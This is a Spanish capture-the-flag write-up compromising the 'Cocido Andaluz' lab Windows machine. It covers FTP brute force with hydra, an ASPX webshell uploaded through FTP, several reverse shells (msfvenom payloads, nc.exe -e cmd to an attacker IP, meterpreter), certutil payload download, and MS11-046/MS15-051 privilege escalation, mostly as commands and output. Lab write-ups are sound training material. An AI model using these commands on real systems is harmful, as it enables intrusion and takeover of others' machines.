Cocido Andaluz - TheHackerLabs
Esta fue una máquina bastante sencilla con la que pude probar varias cosillas. Después de aplicar los escaneos y al no encontrar una forma de enumerar sus servicios, aplicamos fuerza bruta al servicio FTP, encontrando un usuario y contraseñas válidos que nos permiten acceso a FTP y SMB. Dentro, descubrimos que usan el servicio FTP como un servidor para su página web, por lo que aprovechamos esto para cargar una WebShell de ASPX que nos permite ejecutar comandos. Aprovechamos esto para usar varios métodos que nos permiten ganar acceso a la máquina. Ya dentro y enumerando la máquina, descubrimos que es vulnerable a dos Exploits que nos permiten escalar privilegios, estos son: MS11-046 y MS15-051.
Herramientas utilizadas:
- ping
- nmap
- arp-scan
- wappalizer
- ftp
- crackmapexec
- smbclient
- smbmap
- hydra
- locate
- aspx_cmd.aspx
- msfvenom
- nc.exe
- metasploit framework (msfconsole)
- meterpreter
- Módulo:
post/multi/recon/local_exploit_suggester
- Módulo:
exploit/windows/local/ms15_051_client_copy_image
- rlwrap
- nc
- impacket-smbserver
- whoami
- systeminfo
- searchsploit
- i686-w64-mingw32-gcc
- python3
- certutil.exe
Índice
- Recopilación de Información
- Análisis de Vulnerabilidades
- Explotación de Vulnerabilidades
- Aplicando Fuerza Bruta al Servicio FTP
- Enumeración de Servicio FTP y Subiendo una WebShell de ASPX
- Conectándonos a la Máquina Víctima con Distintos Métodos
- Post Explotación
- Enumeración de Máquina Windows
- Probando Exploit: Microsoft Windows (x86) - 'afd.sys' Local Privilege Escalation (MS11-046)
- Probando Exploit: Microsoft Windows - ClientCopyImage Win32k (MS15-051) (Metasploit)
- Links de Investigación
Recopilación de Información
Descubrimiento de Hosts
Hagamos un descubrimiento de hosts para encontrar a nuestro objetivo.
Lo haremos primero con nmap:
nmap -sn 192.168.1.0/24
Nmap scan report for 192.168.1.80
Host is up (0.00020s latency).
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for Tu_IP
Host is up.
Nmap done: 256 IP addresses (14 hosts up) scanned in 2.43 seconds
Vamos a probar la herramienta arp-scan:
arp-scan -I eth0 -g 192.168.1.0/24
Interface: eth0, type: EN10MB, MAC: XX, IPv4: Tu_IP
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.100.213 XX PCS Systemtechnik GmbH
14 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.179 seconds (117.49 hosts/sec). 14 responded
Encontramos nuestro objetivo y es:192.168.1.80
Traza ICMP
Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.
ping -c 4 192.168.1.80
PING 192.168.1.80 (192.168.1.80) 56(84) bytes of data.
64 bytes from 192.168.1.80: icmp_seq=1 ttl=128 time=2.91 ms
64 bytes from 192.168.1.80: icmp_seq=2 ttl=128 time=0.947 ms
64 bytes from 192.168.1.80: icmp_seq=3 ttl=128 time=0.952 ms
64 bytes from 192.168.1.80: icmp_seq=4 ttl=128 time=0.945 ms
--- 192.168.1.80 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3088ms
rtt min/avg/max/mdev = 0.945/1.438/2.908/0.848 ms
Por el TTL sabemos que la máquina usa Windows, hagamos los escaneos de puertos y servicios.
Escaneo de Puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.1.80 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-03 12:44 CST
Initiating ARP Ping Scan at 12:44
Scanning 192.168.1.80 [1 port]
Completed ARP Ping Scan at 12:44, 0.07s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:44
Scanning 192.168.1.80 [65535 ports]
Discovered open port 80/tcp on 192.168.1.80
Discovered open port 139/tcp on 192.168.1.80
Discovered open port 445/tcp on 192.168.1.80
Discovered open port 135/tcp on 192.168.1.80
Discovered open port 21/tcp on 192.168.1.80
Discovered open port 49158/tcp on 192.168.1.80
Discovered open port 49154/tcp on 192.168.1.80
Discovered open port 49155/tcp on 192.168.1.80
Discovered open port 49156/tcp on 192.168.1.80
Discovered open port 49157/tcp on 192.168.1.80
Discovered open port 49153/tcp on 192.168.1.80
Discovered open port 49152/tcp on 192.168.1.80
Completed SYN Stealth Scan at 12:45, 50.41s elapsed (65535 total ports)
Nmap scan report for 192.168.1.80
Host is up, received arp-response (0.0038s latency).
Scanned at 2025-02-03 12:44:39 CST for 50s
Not shown: 38898 filtered tcp ports (no-response), 26625 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 128
80/tcp open http syn-ack ttl 128
135/tcp open msrpc syn-ack ttl 128
139/tcp open netbios-ssn syn-ack ttl 128
445/tcp open microsoft-ds syn-ack ttl 128
49152/tcp open unknown syn-ack ttl 128
49153/tcp open unknown syn-ack ttl 128
49154/tcp open unknown syn-ack ttl 128
49155/tcp open unknown syn-ack ttl 128
49156/tcp open unknown syn-ack ttl 128
49157/tcp open unknown syn-ack ttl 128
49158/tcp open unknown syn-ack ttl 128
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 50.68 seconds
Raw packets sent: 220613 (9.707MB) | Rcvd: 26642 (1.066MB)
Parámetros | Descripción |
---|---|
-p- | Para indicarle un escaneo en ciertos puertos. |
–open | Para indicar que aplique el escaneo en los puertos abiertos. |
-sS | Para indicar un TCP Syn Port Scan para que nos agilice el escaneo. |
–min-rate | Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000). |
-vvv | Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo. |
-n | Para indicar que no se aplique resolución dns para agilizar el escaneo. |
-Pn | Para indicar que se omita el descubrimiento de hosts. |
-oG | Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts. |
Bien, parece que está activa una página web en el puerto 80 y veo activo el servicio FTP en el puerto 21, quizá estén relacionados, pero eso lo veremos más adelante.
Escaneo de Servicios
nmap -sCV -p 21,80,135,139,445,49152,49153,49154,49155,49156,49157,49158 192.168.1.80 -oN targeted
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-03 12:47 CST
Nmap scan report for 192.168.1.80
Host is up (0.0013s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
80/tcp open http Microsoft IIS httpd 7.0
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Microsoft-IIS/7.0
| http-methods:
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_nbstat: NetBIOS name: WIN-JG67MIHZH2X, NetBIOS user: <unknown>, NetBIOS MAC: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
| smb2-time:
| date: 2025-02-03T18:48:09
|_ start_date: 2025-02-03T10:36:35
| smb2-security-mode:
| 2:0:2:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.65 seconds
Parámetros | Descripción |
---|---|
-sC | Para indicar un lanzamiento de scripts básicos de reconocimiento. |
-sV | Para identificar los servicios/versión que están activos en los puertos que se analicen. |
-p | Para indicar puertos específicos. |
-oN | Para indicar que el output se guarde en un fichero. Lo llame targeted. |
Se me hace bastante curioso que tiene desplegado Apache, cuando normalmente es IIS o HFS o algo relacionado con Windows. Además, parece que el servicio SMB no nos pide credenciales para conectarnos.
Análisis de Vulnerabilidades
Analizando Servicio HTTP
Entremos:
Tenemos la página por defecto de Apache.
Veamos que nos dice Wappalizer:
No veo nada que nos sirva.
Te diría que aplicáramos Fuzzing, pero en mi caso no encontré nada, por lo que vamos a saltarnos esa parte.
Vamos a ver si podemos entrar al servicio FTP.
Analizando Servicio FTP
Si revisamos el escaneo de nmap, no mostró información sobre este servicio, así que vamos a usar un script de nmap para ver si existe el usuario anonymous para poder loguearnos:
nmap -p 21 --script ftp-anon 192.168.1.80
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-03 13:14 CST
Nmap scan report for 192.168.1.80
Host is up (0.00092s latency).
PORT STATE SERVICE
21/tcp open ftp
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
No encontró nada y podremos hacer nada tampoco.
Por ahora, vamos a dejar este servicio.
Analizando Servicio SMB
Veamos qué información nos da crackmapexec:
crackmapexec smb 192.168.1.80
SMB 192.168.1.80 445 WIN-JG67MIHZH2X [*] Windows 6.0 Build 6001 (name:WIN-JG67MIHZH2X) (domain:WIN-JG67MIHZH2X) (signing:False) (SMBv1:False)
Como nos mostró el escaneo, parece que no pide credenciales para poder loguearnos.
Veamos si podemos listar los archivos compartidos con smbclient:
smbclient -L //192.168.1.80// -N
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.1.80 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
Parece que sí puede loguearse con un usuario anónimo, pero no está mostrando nada.
De pura casualidad, probemos si podemos ver algo con smbmap:
smbmap -H 192.168.1.80
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
.
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[!] Access denied on 192.168.1.80, no fun for you...
[*] Closed 1 connections
Nada tampoco.
Te diría que fuéramos a analizar el servicio RPC, pero tampoco podremos hacer algo.
Lo que queda, es hacer fuerza bruta.
Explotación de Vulnerabilidades
Aplicando Fuerza Bruta al Servicio FTP
Vamos a empezar aplicando fuerza bruta al servicio FTP, pero al no tener un usuario, debemos especificar un diccionario de usuarios.
Yo usaré el diccionario de usuarios de seclists, que debería está en la ruta: /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
.
Esta vez, usaremos otro diccionario para las contraseñas, ya que rockyou.txt tarda demasiado y no encuentra la contraseña, este será: /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords.txt
.
Apliquemos el ataque con hydra:
hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords.txt 192.168.1.80 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-03 13:50:15
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 43048882131570 login tries (l:8295455/p:5189454), ~2690555133224 tries per task
[DATA] attacking ftp://192.168.1.80:21/
[STATUS] 4305.00 tries/min, 4305 tries in 00:01h, 43048882127265 to do in 166662338:52h, 16 active
[21][ftp] host: 192.168.1.80 login: info password: PolniyPizdec0211
...
Excelente, vamos a comprobar con crackmapexec si son válidos.
Primero con el servicio FTP:
crackmapexec ftp 192.168.1.80 -u 'info' -p 'PolniyPizdec0211'
FTP 192.168.1.80 21 192.168.1.80 [*] Banner: Microsoft FTP Service
FTP 192.168.1.80 21 192.168.1.80 [+] info:PolniyPizdec0211
Sí funcionan.
Ahora con el servicio SMB:
crackmapexec smb 192.168.1.80 -u 'info' -p 'PolniyPizdec0211'
SMB 192.168.1.80 445 WIN-JG67MIHZH2X [*] Windows 6.0 Build 6001 (name:WIN-JG67MIHZH2X) (domain:WIN-JG67MIHZH2X) (signing:False) (SMBv1:False)
SMB 192.168.1.80 445 WIN-JG67MIHZH2X [+] WIN-JG67MIHZH2X\info:PolniyPizdec0211
También funcionan.
Ahora podemos entrar al servicio FTP y al servicio SMB, aunque en SMB no encontraremos nada, así que vamos directo con FTP.
Enumeración de Servicio FTP y Subiendo una WebShell de ASPX
Entremos al servicio FTP:
ftp info@192.168.1.80
Connected to 192.168.1.80.
220 Microsoft FTP Service
331 Password required for info.
Password:
230 User info logged in.
Remote system type is Windows_NT.
ftp>
Estamos dentro.
Veamos que archivos hay aquí:
ftp> ls
227 Entering Passive Mode (192,168,100,213,192,7).
125 Data connection already open; Transfer starting.
dr--r--r-- 1 owner group 0 Jun 14 2024 aspnet_client
-rwxrwxrwx 1 owner group 11069 Jun 15 2024 index.html
-rwxrwxrwx 1 owner group 184946 Jun 14 2024 welcome.png
226 Transfer complete.
ftp>
Excelente, parece que por aquí podremos subir archivos y serán representados en la página web.
Vamos a probar subiendo un archivo de texto random:
ftp> put prueba.txt
local: prueba.txt remote: prueba.txt
227 Entering Passive Mode (192,168,1,80).
125 Data connection already open; Transfer starting.
100% |*********************************************| 20 23.33 KiB/s --:-- ETA
226 Transfer complete.
20 bytes sent in 00:00 (0.40 KiB/s)
ftp> ls
227 Entering Passive Mode (192,168,1,80).
125 Data connection already open; Transfer starting.
dr--r--r-- 1 owner group 0 Jun 14 2024 aspnet_client
-rwxrwxrwx 1 owner group 11069 Jun 15 2024 index.html
-rwxrwxrwx 1 owner group 20 Feb 3 21:13 prueba.txt
-rwxrwxrwx 1 owner group 184946 Jun 14 2024 welcome.png
226 Transfer complete.
Ahí está.
Ahora vamos a ver si aparece en la página web:
Se puede ver.
Sabiendo esto y que la máquina usa un servidor IIS y ASP.NET, podemos usar una webshell tipo ASPX que sirva como una CMD.
En kali ya tenemos una:
locate cmd.aspx
/usr/share/davtest/backdoors/aspx_cmd.aspx
/usr/share/seclists/Web-Shells/FuzzDB/cmd.aspx
Copiamos cualquiera de esos dos en tu directorio actual de trabajo y lo subimos al FTP:
ftp> put aspx_cmd.aspx
local: aspx_cmd.aspx remote: aspx_cmd.aspx
227 Entering Passive Mode (192,168,1,80).
125 Data connection already open; Transfer starting.
100% |*********************************************| 1438 47.28 MiB/s --:-- ETA
226 Transfer complete.
1438 bytes sent in 00:00 (33.16 KiB/s)
ftp>
Y vayamos a la página web, especificando el archivo:
Ahí está, ya solo ejecuta un comando:
Listo, tenemos una WebShell que podemos usar para conectarnos a la máquina víctima.
Conectándonos a la Máquina Víctima con Distintos Métodos
Vamos a realizar al menos 4 formas en las que podemos ganar acceso a la máquina.
2 de ellas, ya las he realizado en la máquina Devel
Puedes elegir cualquiera de estas para continuar.
Creando y Ejecutando una Reverse Shell de ASPX con msfvenom
Vamos a generar una Reverse Shell con formato ASPX utilizando msfvenom:
msfvenom -p windows/shell_reverse_tcp LHOST=Tu_IP LPORT=443 -f aspx -o shell.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of aspx file: 2736 bytes
Saved as: shell.aspx
Vamos a cargar el archivo al FTP, pero con el modo binario para que no se llegue modificar nada durante la transferencia:
ftp> binary
200 Type set to I.
ftp> put shell.aspx
local: shell.aspx remote: shell.aspx
227 Entering Passive Mode (192,168,1,80).
125 Data connection already open; Transfer starting.
100% |*********************************************| 2774 75.58 MiB/s --:-- ETA
226 Transfer complete.
2774 bytes sent in 00:00 (59.81 KiB/s)
Ahora, con rlwrap usamos netcat para abrir un listener y esperar a obtener la Reverse Shell:
rlwrap nc -nvlp 443
listening on [any] 443 ...
Y ya solo nos metemos al archivo que cargamos desde la página web y ya obtendremos la conexión:
rlwrap nc -nvlp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [192.168.1.80] 49184
Microsoft Windows [Versi�n 6.0.6001]
Copyright (c) 2006 Microsoft Corporation. Reservados todos los derechos.
.
c:\windows\system32\inetsrv>whoami
whoami
nt authority\servicio de red
Estamos dentro.
Cargando y Utilizando Binario nc.exe para Obtener Conexión
Dentro de nuestro Kali, tenemos ya un binario de netcat que sirve con Windows.
Búscala y cópiala en tu directorio actual de trabajo:
locate nc.exe
/usr/share/seclists/Web-Shells/FuzzDB/nc.exe
/usr/share/windows-resources/binaries/nc.exe
Una vez que la tengas copiada, transfierela al FTP:
ftp> binary
200 Type set to I.
ftp> put nc.exe
local: nc.exe remote: nc.exe
227 Entering Passive Mode (192,168,1,80).
125 Data connection already open; Transfer starting.
100% |*********************************************| 59392 16.26 MiB/s 00:00 ETA
226 Transfer complete.
59392 bytes sent in 00:00 (1.51 MiB/s)
Bien, ya está dentro del FTP, pero para poder usarla, necesitas especificar la ruta en donde se encuentra el binario y es posible que se encuentre en 2 lugares:
C:\inetpub\wwwroot\
C:\inetpub\ftproot\
Aunque normalmente es la primer ruta.
Usa rlwrap en conjunto con netcat:
rlwrap nc -nvlp 443
listening on [any] 443 ...
Desde la WebShell usa el siguiente comando que usara el binario de netcat, para mandar una CMD a nuestra máquina:
C:\inetpub\wwwroot\nc.exe cmd -e Tu_IP 443
Y observa la conexión obtenida:
rlwrap nc -nvlp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [192.168.1.80] 49185
Microsoft Windows [Versi�n 6.0.6001]
Copyright (c) 2006 Microsoft Corporation. Reservados todos los derechos.
c:\windows\system32\inetsrv>
Listo, estamos dentro.
Obteniendo Sesión de Meterpreter con Reverse Shell de ASPX
Vamos a crear una Reverse Shell con msfvenom, especificando que será un payload para obtener una sesión de meterpreter:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=Tu_IP LPORT=4444 -f aspx -o meterpreterShell.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of aspx file: 2867 bytes
Saved as: meterpreterShell.aspx
Ahora, vamos a automatizar la obtención del handler que nos da la sesión del meterpreter, metiendo los comandos en un script de Ruby:
nano handler.rc
---------------
USE exploit/multi/handler
set LHOST Tu_IP
set LPORT 4444
set PAYLOAD windows/meterpreter/reverse_tcp
exploit
Ejecutamos el script con Metasploit:
msfconsole -q -r handler.rc
[*] Processing handler.rc for ERB directives.
resource (handler.rc)> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (handler.rc)> set LHOST Tu_IP
LHOST => Tu_IP
resource (handler.rc)> set LPORT 4444
LPORT => 5555
resource (handler.rc)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (handler.rc)> exploit
[*] Started reverse TCP handler on Tu_IP:4444
Vamos a cargar nuestra Reverse Shell al FTP:
ftp> binary
200 Type set to I.
ftp> put meterpreterShell.aspx
local: meterpreterShell.aspx remote: meterpreterShell.aspx
227 Entering Passive Mode (192,168,1,80).
125 Data connection already open; Transfer starting.
100% |*********************************************| 2867 20.25 MiB/s 00:00 ETA
226 Transfer complete.
2867 bytes sent in 00:00 (65.27 KiB/s)
Ya solamente entramos en nuestro archivo desde la página web:
Y ya tendremos nuestra sesión de meterpreter:
[*] Started reverse TCP handler on Tu_IP:4444
[*] Sending stage (177734 bytes) to 192.168.1.80
[*] Meterpreter session 1 opened (Tu_IP:4444 -> 192.168.1.80:49187) at 2025-02-03 21:30:19 -0600
.
meterpreter > getuid
Server username: NT AUTHORITY\Servicio de red
meterpreter > sysinfo
Computer : WIN-JG67MIHZH2X
OS : Windows Server 2008 (6.0 Build 6001, Service Pack 1).
Architecture : x86
System Language : es_ES
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows
Ejecutando Binario nc.exe desde Recurso Compartido de SMB para Obtener Sesión
Como mencione antes, dentro de nuestro Kali, tenemos ya un binario de netcat que sirve con Windows.
Búscala y cópiala en tu directorio actual de trabajo:
locate nc.exe
/usr/share/seclists/Web-Shells/FuzzDB/nc.exe
/usr/share/windows-resources/binaries/nc.exe
Desde tu directorio actual de trabajo, vamos a levantar el servicio SMB para que podamos usar el binario nc.exe desde la WebShell:
impacket-smbserver smbFolder $(pwd) -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
.
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
Usa rlwrap en conjunto con netcat:
rlwrap nc -nvlp 443
listening on [any] 443 ...
Por último, vamos a usar nuestro Servicio SMB para poder usar remotamente el binario nc.exe y mandar una conexión hacia nuestra máquina:
\\Tu_IP\smbFolder\nc.exe -e cmd Tu_IP 443
Observa la netcat:
rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [192.168.1.80] 49160
Microsoft Windows [Versi�n 6.0.6001]
Copyright (c) 2006 Microsoft Corporation. Reservados todos los derechos.
.
c:\windows\system32\inetsrv>whoami
whoami
nt authority\servicio de red
Ya solo podemos obtener la flag del usuario:
c:\windows\system32\inetsrv>cd C:\Users\info
cd C:\Users\info
.
C:\Users\info>type user.txt
...
Post Explotación
Enumeración de Máquina Windows
Veamos qué privilegios tiene nuestro usuario:
C:\Temp>whoami /priv
whoami /priv
.
INFORMACI�N DE PRIVILEGIOS
--------------------------
.
Nombre de privilegio Descripci�n Estado
============================= ================================================= =============
SeAssignPrimaryTokenPrivilege Reemplazar un s�mbolo (token) de nivel de proceso Deshabilitado
SeIncreaseQuotaPrivilege Ajustar las cuotas de la memoria para un proceso Deshabilitado
SeAuditPrivilege Generar auditor�as de seguridad Deshabilitado
SeChangeNotifyPrivilege Omitir comprobaci�n de recorrido Habilitada
SeImpersonatePrivilege Suplantar a un cliente tras la autenticaci�n Habilitada
SeCreateGlobalPrivilege Crear objetos globales Habilitada
SeIncreaseWorkingSetPrivilege Aumentar el espacio de trabajo de un proceso Deshabilitado
Podríamos usar JuicyPotato, pero no funcionará, ya que solo sirve para arquitecturas x64.
Tenemos varías opciones para enumerar de forma automatizada como:
- Repositorio de rasta-mouse: Watson
- Repositorio de bitsadmin: Windows Exploit Suggester - Next Generation (WES-NG)
- Módulo
post/multi/recon/local_exploit_suggester
de Metasploit.
Pero en mi caso no funcionaron la mayoría.
Entonces, obtengamos la información de la máquina:
C:\Temp>systeminfo
systeminfo
Nombre de host: WIN-JG67MIHZH2X
Nombre del sistema operativo: Microsoft� Windows Server� 2008 Datacenter
Versi�n del sistema operativo: 6.0.6001 Service Pack 1 Compilaci�n 6001
Fabricante del sistema operativo: Microsoft Corporation
Configuraci�n del sistema operativo: Servidor independiente
Tipo de compilaci�n del sistema operativo: Multiprocessor Free
Propiedad de: Usuario de Windows
Organizaci�n registrada:
Id. del producto: 92577-082-2500446-76907
Fecha de instalaci�n original: 14/06/2024, 12:21:47
Tiempo de arranque del sistema: 04/02/2025, 5:19:51
...
...
...
Vamos a buscar un Exploit para la versión de Windows que muestra: Microsoft Windows Server 2008 Datacenter.
Y encontramos estos dos:
- Microsoft Windows (x86) - ‘afd.sys’ Local Privilege Escalation (MS11-046)
- Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64) - Local Privilege Escalation (MS16-032) (PowerShell)
Como no podemos usar PowerShell, vamos a usar la primera opción.
Probando Exploit: Microsoft Windows (x86) - 'afd.sys' Local Privilege Escalation (MS11-046)
La podemos encontrar dentro de Kali:
searchsploit MS11-046
------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Microsoft Windows (x86) - 'afd.sys' Local Privilege Escalation (MS11-046) | windows_x86/local/40564.c
Microsoft Windows - 'afd.sys' Local Kernel (PoC) (MS11-046) | windows/dos/18755.c
------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
Usamos la primer opción.
Copiamos el Exploit en nuestro directorio de trabajo:
searchsploit -m windows_x86/local/40564.c
Exploit: Microsoft Windows (x86) - 'afd.sys' Local Privilege Escalation (MS11-046)
URL: https://www.exploit-db.com/exploits/40564
Path: /usr/share/exploitdb/exploits/windows_x86/local/40564.c
Codes: CVE-2011-1249, MS11-046
Verified: True
File Type: C source, ASCII text
Analizando el Exploit, nos menciona que debemos compilarlo para obtener el binario que usaremos para escalar privilegios.
Compilamos el Exploit:
i686-w64-mingw32-gcc MS11-046.c -o MS11-046.exe -lws2_32
Ya solo es cuestión de mandarlo a la máquina víctima.
Abre un servidor con Python:
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Usaremos certutil.exe para descargar el Exploit en la máquina víctima:
C:\Temp>certutil.exe -split -urlcache -f http://Tu_IP/MS11-046.exe
certutil.exe -split -urlcache -f http://Tu_IP/MS11-046.exe
**** En l�nea ****
CertUtil: -URLCache comando completado correctamente.
Y lo ejecutamos:
C:\Temp>MS11-046.exe
MS11-046.exe
.
c:\Windows\System32>whoami
whoami
nt authority\system
Listo, ya somos el usuario administrador.
Probando Exploit: Microsoft Windows - ClientCopyImage Win32k (MS15-051) (Metasploit)
En este caso, vamos a usar el módulo post/multi/recon/local_exploit_suggester
para aprovechar que tenemos una sesión de meterpreter.
Vamos a configurarlo:
msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
Lo ejecutamos:
msf6 post(multi/recon/local_exploit_suggester) > exploit
[*] 192.168.1.80 - Collecting local exploits for x86/windows...
[*] 192.168.1.80 - 203 exploit checks are being tried...
[+] 192.168.1.80 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The service is running, but could not be validated. Windows Windows Server 2008 build detected!
[+] 192.168.1.80 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
[+] 192.168.1.80 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 192.168.1.80 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
[+] 192.168.1.80 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 192.168.1.80 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[*] Running check method for exploit 42 / 42
[*] 192.168.1.80 - Valid modules for session 1:
============================
.
# Name Potentially Vulnerable? Check Result
- ---- ----------------------- ------------
1 exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move Yes The service is running, but could not be validated. Windows Windows Server 2008 build detected!
2 exploit/windows/local/ms10_015_kitrap0d Yes The service is running, but could not be validated.
3 exploit/windows/local/ms15_051_client_copy_image Yes The target appears to be vulnerable.
4 exploit/windows/local/ms16_016_webdav Yes The service is running, but could not be validated.
5 exploit/windows/local/ms16_075_reflection Yes The target appears to be vulnerable.
6 exploit/windows/local/ppr_flatten_rec Yes The target appears to be vulnerable.
...
...
...
Tenemos varias opciones, pero el que sirve para escalar privilegios es el módulo exploit/windows/local/ms15_051_client_copy_image
.
Vamos a configurarlo:
msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms15_051_client_copy_image
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms15_051_client_copy_image) > set SESSION 1
SESSION => 1
Y lo ejecutamos:
msf6 exploit(windows/local/ms15_051_client_copy_image) > exploit
[*] Started reverse TCP handler on Tu_IP:4444
[*] Reflectively injecting the exploit DLL and executing it...
[*] Launching msiexec to host the DLL...
[+] Process 1460 launched.
[*] Reflectively injecting the DLL into 1460...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (177734 bytes) to 192.168.1.80
[*] Meterpreter session 2 opened (Tu_IP:4444 -> 192.168.1.80:49188) at 2025-02-03 21:34:00 -0600
.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
De esta forma, volvimos a escalar privilegios.
Ya solo obtenemos la flag del administrador:
C:\Windows\System32>cd C:\Users\Administrador\Desktop
cd C:\Users\Administrador\Desktop
.
C:\Users\Administrador\Desktop>dir
dir
El volumen de la unidad C no tiene etiqueta.
El n�mero de serie del volumen es: 1CEF-5C5A
.
Directorio de C:\Users\Administrador\Desktop
.
14/06/2024 17:17 <DIR> .
14/06/2024 17:17 <DIR> ..
14/06/2024 17:16 29 root.txt
1 archivos 29 bytes
2 dirs 12.669.628.416 bytes libres
.
C:\Users\Administrador\Desktop>type root.txt
type root.txt
Y con esto, completamos la máquina.
Links de Investigación
- https://github.com/bitsadmin/wesng
- https://github.com/rasta-mouse/Watson/tree/master
- https://www.exploit-db.com/exploits/39719
- https://www.exploit-db.com/exploits/40564
- https://www.exploit-db.com/exploits/37367